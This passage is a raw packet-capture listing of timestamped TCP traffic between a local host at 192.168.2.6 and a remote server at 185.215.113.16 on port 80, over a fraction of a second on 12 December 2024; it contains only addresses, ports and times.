Dec 12, 2024 21:50:27.773840904 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.773845911 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.773881912 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.774770975 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.774816036 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.774903059 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.774943113 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.775837898 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.775888920 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.775922060 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.775964975 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.776894093 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.776968002 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.777020931 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.777947903 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.778002977 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.778081894 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.778259039 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.779026985 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.779099941 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.779109955 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.779150963 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.780029058 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.780085087 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.780126095 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.780163050 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.781092882 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.781137943 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.781167030 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.781203032 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.782130957 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.782206059 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.782233000 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.782298088 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.783202887 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.783253908 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.783291101 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.783330917 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.784246922 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.784288883 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.784326077 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.784362078 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.785336018 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.785384893 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.785432100 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.785660982 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.786331892 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.786437988 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.786452055 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.786488056 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.787353039 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.787425041 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.787511110 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.788441896 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.788495064 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.788531065 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.788558006 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.789535999 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.789585114 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.789618015 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.789654016 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.790499926 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.790543079 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.790576935 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.790613890 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.791544914 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.791587114 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.791657925 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.791693926 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.792625904 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.792673111 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.792749882 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.792788029 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.793697119 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.793787956 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.793833017 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.794703960 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.794806004 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.794850111 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.795769930 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.795881987 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.795933962 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.796859980 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.796907902 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.796943903 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.797864914 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.797872066 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.797934055 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.797967911 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.798907042 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.798939943 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.798960924 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.799061060 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.800043106 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.800091028 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.800097942 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.801022053 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.801074028 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.801143885 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.801181078 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.802063942 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.802162886 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.802206993 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.803100109 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.803175926 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.803220034 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.804255962 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.804341078 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.804388046 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.805205107 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.805268049 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.805418015 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.805931091 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.806332111 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.806374073 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.806411982 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.806463957 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.807327032 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.807373047 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.807410955 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.807446957 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.808450937 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.808495045 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.808535099 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.808572054 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.809429884 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.809475899 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.809515953 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.809552908 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.810498953 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.810652971 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.810695887 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.811481953 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.811599016 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.811640978 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.812555075 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.812599897 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.812674046 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.812716007 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.813604116 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.813714981 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.813746929 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.813782930 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.814644098 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.814812899 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.814857006 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.815732002 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.815812111 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.815855026 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.816766024 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.816817045 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.816911936 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.816950083 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.817888021 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.817965031 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.817986965 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.818017960 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.818985939 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.819031000 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.819041014 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.819195032 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.819849968 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.819889069 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.964051008 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.964095116 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.964137077 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.964188099 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.964278936 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.964318037 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.964353085 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.964389086 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.965276957 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.965320110 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.965370893 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.965408087 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.966358900 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.966449022 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.966490030 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.967395067 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.967449903 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.967492104 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.967669964 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.968429089 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.968486071 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.968533039 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.968596935 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.969578028 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.969644070 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.969719887 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.969775915 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.970644951 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.970791101 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.970818996 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.970835924 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.971700907 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.971750021 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.971793890 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.971833944 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.972641945 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.972696066 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.972827911 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.972872972 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.973747969 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.973804951 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.973831892 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.973881006 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.974941015 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.975002050 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.975018024 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.975052118 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.975835085 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.975956917 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.975999117 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.976865053 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.976906061 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.976991892 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.977030039 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.977874041 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.977916002 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.978001118 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.978039980 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.978930950 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.978977919 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.979043007 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.979110003 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.979989052 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.980045080 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.980087042 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.980134964 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.981023073 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.981084108 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.981220007 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.981259108 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.982086897 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.982176065 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.982227087 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.982264996 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.983148098 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.983202934 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.983319998 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.983553886 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.984194994 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.984268904 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.984276056 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.984335899 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.985260010 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.985352039 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.985368967 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.985424995 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.986255884 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.986298084 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.986346006 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.986393929 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.987330914 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.987371922 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.987442017 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.987477064 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.988387108 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.988425970 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.988473892 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.988607883 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.989526033 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.989569902 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.989598989 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.989700079 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.990485907 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.990528107 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.990636110 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.991205931 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.991549015 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.991590977 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.991687059 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.991723061 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.992599010 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.992641926 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.992795944 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.992840052 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.993603945 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.993649960 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.993783951 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.993822098 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.994781017 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.994806051 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.994822025 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.994846106 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.995691061 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.995737076 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.995882034 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.995919943 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.996792078 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.996830940 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.996869087 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.996901989 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.997864962 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.997906923 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.998085022 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.998142958 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.999099016 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.999144077 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.999187946 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.999228001 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.999963045 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.000025034 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.000051022 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.000072956 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.001023054 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.001080990 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.001084089 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.001183033 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.002085924 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.002266884 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.002316952 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.003058910 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.003161907 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.003186941 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.003207922 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.004090071 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.004132986 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.004225969 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.004301071 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.005172968 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.005254030 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.005270958 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.005297899 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.006196022 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.006254911 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.006309986 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.006351948 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.007236958 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.007283926 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.007369995 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.007417917 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.008337975 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.008378029 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.008445024 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.008553982 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.009375095 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.009418964 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.009496927 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.009531975 CET	49919	80	192.168.2.6	185.215.113.16
